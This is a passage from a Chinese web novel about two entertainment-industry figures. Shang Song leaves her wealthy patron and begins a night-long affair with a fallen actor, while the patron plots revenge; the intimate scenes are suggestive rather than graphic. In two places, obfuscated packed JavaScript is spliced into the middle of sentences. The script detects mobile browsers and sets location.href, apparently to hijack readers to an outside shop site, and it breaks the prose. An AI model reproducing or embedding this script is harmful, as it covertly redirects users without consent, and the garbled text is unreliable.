房子不大,黑白灰的极简色调,冷冰冰的像个样板间,只有客厅角落里那盏落地的月球灯透着点暖意。 商颂进门的时候,看见玄关处随意丢着几双不同品牌的限量球鞋,茶几上还摊着翻了一半的剧本,那大概是他资源没掉之前的。 “随便坐,不用换鞋,反正明天保洁会来。喝点什么?家里只有酒。”伯雪寻不等商颂回答,就径直走向酒柜,拿出了一瓶没贴标签的红酒,“这就是个没什么年份的餐酒,别嫌弃。” 他给商颂倒了一杯,又给自己倒了一杯。 “不是说饿了吗?”商颂抿了一口酒,有些酸涩,但在舌根回甘。 “这就做。” 伯雪寻挽起袖子,露出了手臂上流畅的肌肉线条。他进了厨房,熟练地烧水、下面。 商颂倚在门框上看他。这双曾经在颁奖典礼上举起奖杯、在红毯上挥斥方遒的手,此刻正在切番茄、剁洋葱,为了给她做一盘并不那么正宗的意面。 油烟机嗡嗡地响着,这种充满了烟火气的噪音,居然让她感到前所未有的安宁。在这个名利场里厮杀太久,他们都快忘了生活本来应该是什么样子。 二十分钟后,两盘色泽浓郁的番茄肉酱意面摆上了桌。没有摆盘,也没有讲究的餐具,甚至有一根面条还挂在盘子边缘。 “尝尝,独家秘方,可能稍微咸了点。”伯雪寻拉开椅子坐在她对面。 商颂卷起一叉子送进嘴里。确实咸了,但也确实好吃,带着一种横冲直撞的热气。 两人都没有怎么说话,只是低头吃面,偶尔碰一下杯。究竟是饿了,还是太久没有这样毫无防备地面对一个人,他们把那瓶不知名的酒喝掉了一大半。 酒精开始在血管里游走,那种微醺的感觉让世界变得模糊而柔软。商颂看着对面的伯雪寻,灯光下他的眉眼变得异常温柔,不再是那个高高在上的顶流,只是一个会在深夜给喜欢的人做意面的男人。 她羽睫颤了颤,面不改色地咬住银叉,餐桌底下却是另一幅旖旎光景。 滢润的玉足施施然抬起,擦过他呢面柔滑的运动裤,微带着凉意,还装模做样地勾开他的裤边,却又不着急攻池越垒,不急不缓,一贴一贴地点在他的肌肤上,挠痒痒般的,又勾人极了。 伯雪寻视线下移,又往上瞟了一眼,她神色如常,有一口没一口地缠着叉子,只是几杯红酒下肚,还是浮起了些潮红,似乎只是不经意间的触碰。 他缩了腿,在她下次攀来,扑了个空,她要讪讪撤退时,脚踝被人给勾住,又是一轮较量,不知谁占了上风。 面上还是互不理睬,下面却是如胶似漆,彼此间的调情,不谋而合,心照不宣。 “叮。” 一声突兀的手机推送音,硬生生地割开了这层粘稠得化不开的暧昧空气。 商颂的手机就放在桌面上,屏幕亮起,光线刺眼。 那是她特别关注的新闻推送,来源是圈内最大的狗仔账号。 标题是加粗的黑体字,在昏暗的客厅里显得触目惊心: 【独家爆料!实锤!周彻深夜密会岑星,疑似好事将近?前顶流摇滚乐队SOLAR资源置换内幕大起底!】 商颂的动作僵住了。 照片拍得很清晰,旋转餐厅的落地窗前,周彻正笑着给岑星切牛排,姿态亲密无间。而那家餐厅,正是商颂之前想去却因为档期没去成的。 这是一个充满讽刺的闭环。 伯雪寻也看到了那条推送。他扫了一眼屏幕,然后抬头看向商颂,眼神里的欲念褪去,取而代之的是一种了然的清醒和一丝淡淡的心疼。 伯雪寻的手伸过来,没有说什么虚伪的安慰,只是指腹轻轻盖在了她的手机屏幕上,物理性地切断了那道刺眼的各种揣测和实锤。 世界重新归于只有两人的寂静,昏黄的月球灯下,灰尘在光束里缓慢浮游。 商颂没有把他的手挥开,她甚至低头笑了一下,笑意却只浮在皮肉表面,像是那种贴在橱窗玻璃上的贴纸,一撕就碎。 “你知道吗,”她开口,声音很轻,“这感觉就像是你等到了一颗馊掉的糖。你知道它已经坏了,吃了会闹肚子,会恶心,但因为那是你排了很久的队才领到的,所以当别人把它随手扔进垃圾桶的时候,你还是会感到一种——作为废品的愤怒。” 那是她的位置。周彻对面那个切牛排的位置,原本是属于她的。 这种被替代、被驱逐的不安感,如同涨潮的海水,漫过她的脚踝,那是作为“替补”永远无法摆脱的羞耻感。岑星回来了,正主归位,影子就该自觉地消散在黑暗里。 但商颂不是影子,她是带刺的玫瑰。 “啪”的一声轻响。 她从伯雪寻掌心下抽出手机,指尖飞快地在属于周彻的消息框里,输入了简短的一行字。 【按照约定,我们结束。】 没有给对方任何回旋的余地,甚至没有一句多余的质问。发送,拉黑,删除。 做完这一连串动作,不过短短三秒。像是在切除一块已经坏死的腐肉,如果不快准狠,痛感就会没完没了。 她把手机随意地往地毯上一扔,发出一声闷响。 然后,她抬起眼,看向伯雪寻。 那种伪装的平静彻底裂开了,露出了里面鲜红还在搏动的欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126709|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望与野心。既然那条光鲜的大路已经被堵死,那她就要在泥潭里,开出一朵最艳丽的恶之花。 “看来今晚,我们都是被遗弃的人了。” 商颂站起身,绕过那张此时显得有些碍事的餐桌,走到了伯雪寻的面前。 她居高临下地看着他,空气里红酒的酸涩味和番茄酱的浓郁气息混杂在一起,发酵出一种颓靡的氛围。 “但我不想当可怜虫。”她伸手,指尖挑起他微敞的领口,顺着锁骨的线条缓慢下滑,最后停在他衬衫的第二颗纽扣上,“伯雪寻,那你现在想要我吗?” 这是一个充满了挑衅的邀请。 不是因为爱,而是因为她急需一场占有,来填补那刚刚被剜去一角的自尊。 伯雪寻仰着头,喉结在她指尖的游走下难耐地滚动了一下。 他看懂了她眼底那簇正在燃烧的火。那是一种要把一切都烧干净的决绝,带着报复性的快意。 “商颂,”他握住她作乱的手,却没有推开,反而用力一拉,让她失去平衡跌坐在自己的大腿上,“你这是在玩火。” “火如果不烧起来,怎么能看得清?”商颂顺势搂住他的脖子,整个人像没有骨头的蛇一样缠了上去。她低下头,红唇擦过他的耳廓,“烧死我也好,总比冻死在这个没人要的夜晚强。” 下一秒,伯雪寻的手掌扣住了她的后脑,不需要再多的言语试探,一个带着惩罚意味的吻重重地压了下来。 那不是什么温柔的安抚,更像是一场势均力敌的撕咬。 带着番茄意面的酸甜,还有劣质红酒的回甘,这种味道甚至称不上美好,却无比真实。他们像是在世界末日前狂欢的逃犯,急切地索取着彼此口腔里的氧气。 餐椅发出一声不堪重负的吱呀声。 天旋地转间,商颂被他一把抱起,几步跨过散落着杂物的地板,被压进了那张略显狭窄的单人沙发里。 那盏月球灯在晃动中投下明明灭灭的光斑。 伯雪寻的动作很急,衬衫纽扣崩开了一颗,滚落到不知名的角落。他略显粗暴地吻着她的锁骨,那种力道在皮肤上留下了一串绯红的印记。 商颂仰着头,看着天花板上斑驳的光影,眼角滑落一滴生理性的泪水,却在下一秒就勾起嘴角笑了。 这种真实的触碰,这种为了她而失控的热度,终于将那个“旋转餐厅”的冰冷画面击得粉碎。 不够。 仅仅是吻,根本不够填补那具枯萎身体的空虚。 伯雪寻一只手搂着她的腰,另一只手掐住了她的腰。 门关上,黑暗变得更加浓稠,也更加私密。 并没有开灯。窗帘拉得严严实实,房间很快就被情欲的潮湿所覆盖。 商颂被轻轻放在了那张柔软的大床上。 伯雪寻覆了上来。他没有急躁,他撑在她的上方,在微弱的天光下,手指轻轻抚过她的脸颊,“还要继续吗?” 商颂没有回答。 她伸出手,动作生涩又坚决。 衣物褪去,像是一层层剥落的束缚与尊严。 在那张承载了无数谎言与秘密的床上,两具原本就属于彼此的身体,终于在时隔三年后,重新契合在一起。 这是一场温柔到极致的占有。 伯雪寻动作很轻,他熟悉她身上的每一处敏感,记得她颤抖的频率,也记得她情动时咬着下唇隐忍的样子。 他用自己的身体,一点一点,把那个名为“周彻”的影子从商颂的身体里挤出去。 汗水交织,呼吸纠缠。 那是一种要把灵魂都揉碎了喂给对方的惨烈。 商颂紧紧攀附着他宽阔的脊背,指甲几乎陷进他的肉里。 在这种极度的欢愉与灭顶的酸涩中,她分不清这是报复,还是救赎。 23. 第 23 章 商颂醒来的时候,已是午后。 窗帘依旧没有拉开,将那个充满算计与窥探的世界严丝合缝地挡在外面。屋内的空气像是发酵的葡萄酒,带着微酸的靡丽,每一次呼吸都像是被细小的电流轻吻肺叶。 身边已经空了,只有床单上深刻的褶皱和残留的体温,昭示着昨夜的荒唐与放纵。她动了动身子,酸痛感顺着骨缝蔓延,却意外地并不让人反感。那是活着的感觉,比在高定礼服里端着架子假笑要真实得多。 她随手捞起一件伯雪寻的宽大衬衫套在身上,光着脚踩在地板上。空气里弥漫着一股淡淡的咖啡香,那是某种名为“安心”的味道。 客厅里,投影仪正无声地投射着画面。 伯雪寻正窝在沙发的一角,腿上摊开一本毛姆的《面纱》,手边放着一杯冰美式。听见动静,他抬起头,那双深情眼里带着几分未散的慵懒和显而易见的纵容。 “醒了?锅里有海鲜粥。” 他的声音有些哑,大概是昨晚用嗓过度。商颂的脸颊红了一下,随即又扬起下巴,摆出一副漫不经心的姿态走了过去。 “不饿。”她像一只餍足的猫,蜷进了他怀里,找了个舒服的位置靠着,“看什么呢?” “随便找的老片子,《蒂凡尼的早餐》。”伯雪寻顺势揽住她的腰,手掌在她腰侧轻轻摩挲,带着安抚的意味,“本来想挑部动作片学习一下技巧,怕你觉得我太功利。” 商颂嗤笑一声,指尖在他胸口画圈,“你昨晚的‘技巧’还需要学习?” 伯雪寻抓住她作乱的手,放在唇边吻了吻指尖,“那只能说明对手配合得好,亦师亦友。” 商颂没再说话,视线落向幕布。那个渴望在上流社会立足却又渴望真爱的霍莉,在雨中寻找被她遗弃的猫。黑白的光影交错在伯雪寻的侧脸上,将他的轮廓勾勒得深邃而迷人。 她突然意识到,这个男人哪怕是从神坛跌落,骨子里的那种松弛感依旧高级得令人嫉妒。 “想吃樱桃。”商颂突然开口,声音软绵绵的,带着点理所当然的娇气。 伯雪寻挑了挑眉,却没有任何不耐烦。他伸手从茶几上的果盘里捏起一颗红得发紫的车厘子,没有直接递给她,而是咬在齿间,低下头凑近她。 商颂的眸光闪了闪,迎了上去。 汁水在唇齿间爆开,甜意混着刚才冰美式的苦涩,调制出一种令人上瘾的味道。 他喂得很耐心,舌尖卷走流到她嘴角的汁液。 “甜吗?”他抵着她的额头问。 “还行。”商颂舔了舔唇,眼波流转,“没你甜。” 伯雪寻低笑一声,他伸手将她鬓角的碎发别到耳后,眼神专注得让人心惊,“商颂,你这勾人的本事,要是用在正道上,早就拿影后了。” “在你身上还不算正道?”商颂反问,手指勾住他的领口,“我可是在投资潜力股。” “那我得努力了,”伯雪寻握住她的手,“不能让金主失望。” 屋内流淌着《MoonRiver》的旋律,风扫过那本《面纱》的一页:【我对你根本没抱幻想。我知道你愚蠢、轻佻、头脑空虚,然而我爱你。我知道你的企图、你的理想,你势利、庸俗,然而我爱你。我知道你是个二流货色,然而我爱你。】 而在城市的另一端,周氏集团总裁办里,气氛冷凝成冰。 周彻靠在造价不菲的人体工学椅上,指间夹着一根并未点燃的万宝路。 那条分手短信依旧停留在他的手机屏幕上。 起初看到的时候,他只觉得好笑。 商颂是什么人?那是他一手捧起来的金丝雀,是在这名利场里必须要依附他这棵大树才能生存的菟丝花。她那种骄傲是易碎的,是需要用昂贵的资源和金钱去维护的。 离开他?她能去哪? 周彻甚至没有回复,只是随手将手机扔在一旁,继续和几个投行的高管谈论着几十亿的并购案。在他看来,这不过是女人常用的小把戏——吃醋、闹别扭、博关注。 就像是被主人冷落的宠物,总要弄出点动静来乞求爱抚。等她在外面碰了壁,淋了雨,自然会乖乖回来,到时候他再随便给个什么高奢代言哄一哄也就是了。 然而,二十四小时过去了。 那个应该回来道歉、哭诉、或者至少打个电话来质问的女人,人间蒸发了。 周彻看着窗外阴沉的天色,心里莫名生出一股烦躁。那种感觉就像是养在笼子里的鸟,明明门开着都不敢飞,某天突然不见了,你确信它飞不远,也活不下去,但这种“失控”本身,就是对拥有者权威的挑衅。 “咚咚。” 助理推门进来,手里拿着一份文件,神色有些小心翼翼,“周先生,您让我查的商小姐的行踪……” “人在哪?”周彻漫不经心地转动着手里的万宝路,“是不是在哪个酒店躲着哭?或者是回了她那个快倒闭的公司?” 助理顿了顿,似乎在斟酌措辞,最后还是硬着头皮说道:“都不是。商小姐昨晚……去了东四环的一个老小区。” “老小区?”周彻皱眉,显然对这个词感到陌生且厌恶。 “是……伯雪寻的住所。” 周彻手中的万宝路“咔嚓”一声被捏断了。碎裂的烟叶簌簌落下,弄脏了他昂贵的西裤,但他仿佛毫无察觉。 伯雪寻。 周彻想起不久前给商颂看的那份“黑料”,想起她当时震惊和恶心的表情。按理说,她应该对那个男人避之不及才对。 “你确定?”周彻的声音阴沉得可怕。 “非常确定。”助理冷汗直冒,把手里的平板递过去,“狗仔那边虽然没敢发,但拍到了商小姐的车进了小区地库,直到现在……还没出来。” 直到现在还没出来。 这意味着什么,成年人都懂。 一股前所未有的暴戾从周彻的心底升起。他一直以为商颂是在耍小性子,却没想到她是真的敢——敢当着他的面,跳进另一个男人的怀里,甚至还是一个不如他的男人。 这是背叛,更是羞辱。 他猛地站起身,走到巨大的落地窗前,俯瞰着脚下蝼蚁般的车水马龙。 “有意思。”周彻突然笑了,笑意却未达眼底,“商颂,你以为找个垃圾回收站就能恶心到我?” 在他看来,这依然是商颂为了激怒他而采取的极端手段。 “周先生,要不要去……”助理试探着问。 “不用。”周彻摆了摆手,重新恢复了那副高高在上的傲慢姿态,“伯雪寻现在自身难保,欠了一屁股违约金,连像样的资源都拿不到。商颂是个聪明人,她过不了那种苦日子。” 他笃定,商颂只是一时冲动,是被所谓的“同病相怜”冲昏了头脑。 等这股劲儿过了,等她发现那个男人给不了她想要的风光和虚荣,她会看清现实的残酷。 “把之前谈好的那个S级古偶剧的女一号先停一停,放个风声出去,就说在考虑换岑星。”周彻冷冷地下令,“另外,找几家媒体,把伯雪寻那点破事再翻出来炒一炒,我要让他这辈子都翻不了身。” 他要逼她自己回来。 他要让她知道,离开了他周彻,她商颂什么都不是。 而此时的东四环公寓里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126710|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不知晓暴风雨即将临近的两人,正在进行着一场关于电影的幼稚争论。 商颂懒洋洋地蜷在深灰色的沙发里,领口松松垮垮地斜向一边,露出一大片莹白的肩颈,上面还隐约可见几枚淡红色的吻痕,像是雪地里落下的残梅,艳得刺目。 屏幕上放着王家卫的《花样年华》。周慕云和苏丽珍在逼仄的楼道里擦肩而过,眼神拉丝,欲语还休。 “这电影我看过不下二十遍。”商颂打了个哈欠,百无聊赖地抬起脚,将被子踢到一边。 她没穿袜子,那一双玉足在昏暗的光线下白得晃眼。她并不安分,脚尖探过去,顺着伯雪寻的小腿线条缓慢上移,隔着那层居家运动裤的布料,轻轻磨蹭,带着显而易见的挑逗。 伯雪寻正坐在地毯上,背靠着沙发,手里拿着一颗苹果在削皮。那把水果刀在他指间翻飞,长长的果皮像红色的绸带般垂落,没有断。 感觉到腿上的异样,他手上的动作没停,只是喉结上下滚了一下,嗓音低哑:“那换一部?《色戒》?” 商颂轻笑出声,脚尖得寸进尺地钻进他的裤管,贴上他紧实温热的肌肤,像是寻找热源的蛇,“不用换电影,换个人演就行。” 伯雪寻终于停下了手里的动作。他把削好的苹果切成刚好入口的小块,插上牙签,回过身,正好对上商颂那双像猫一样慵懒又狡黠的眼睛。 他没躲,反而一把捉住了她在衣服里作乱的脚踝,掌心滚烫,指腹摩挲着那一截细腻的踝骨,带来一阵令人战栗的痒意。 “阿颂,”他微微仰头看她,眼神幽深,嘴角却噙着一抹宠溺又无奈的笑,“吃苹果,降降火。” 商颂俯下身,发丝垂落在他的脸颊上。她没有去接苹果,而是张开嘴,轻轻咬住了他的手指。 并没有用力,只是含着,舌尖若有似无地扫过他的指尖,湿润而温热。 伯雪寻的呼吸骤然乱了一拍。 他松开了她的脚踝,转而扣住她的后脑勺,猛地将她压向自己。两人之间的距离瞬间归零,鼻尖抵着鼻尖,连彼此眼底的倒影都看得清清楚楚。 “商颂,”他声音有些发狠,却更像是某种缴械投降,“你是真不怕我死在你身上。” “牡丹花下死。”商颂弯起眼睛,眼底的水光潋滟,那是只有在他面前才会流露出的风情,“做鬼也风流啊,伯sir。” 这一场缠绵比昨夜更甚。 在极致的颤栗中,她突然产生了一种错觉。 仿佛只要抱紧这具身体,那些权衡利弊的算计,那些作为替身的屈辱,那些需要在名利场里步步为营的疲惫,统统都可以被这一刻的欢愉所冲刷。 “阿颂……” 伯雪寻在她耳边低语,带着某种穿透时光的痛楚和眷恋。 商颂睁开眼,视线模糊中,她看清了他眼角的湿红。 那不是演员的演技,那是一个男人对自己宿命般沉沦的悲哀与狂喜。 她突然笑了,凑上去咬住他的唇角,尝到了一丝咸涩的味道。 “伯雪寻,”她声音支离破碎,却又无比清晰,“如果明天世界末日,我一定还是会选面包而不是爱情。” 伯雪寻动作未停,反而更狠地将她揉进怀里,声音暗哑得不成样子。 “我知道。” “但我今天晚上,”商颂勾着他的脖子,“我是你的。” 在这一刻,两个在欲望都市中满身疮痍的灵魂,像是两条从深海相遇的盲鱼,明知前路无光,明知结局荒唐,却依然在水草与淤泥中,死死纠缠,不死不休。 至于明天? 管他什么洪水滔天。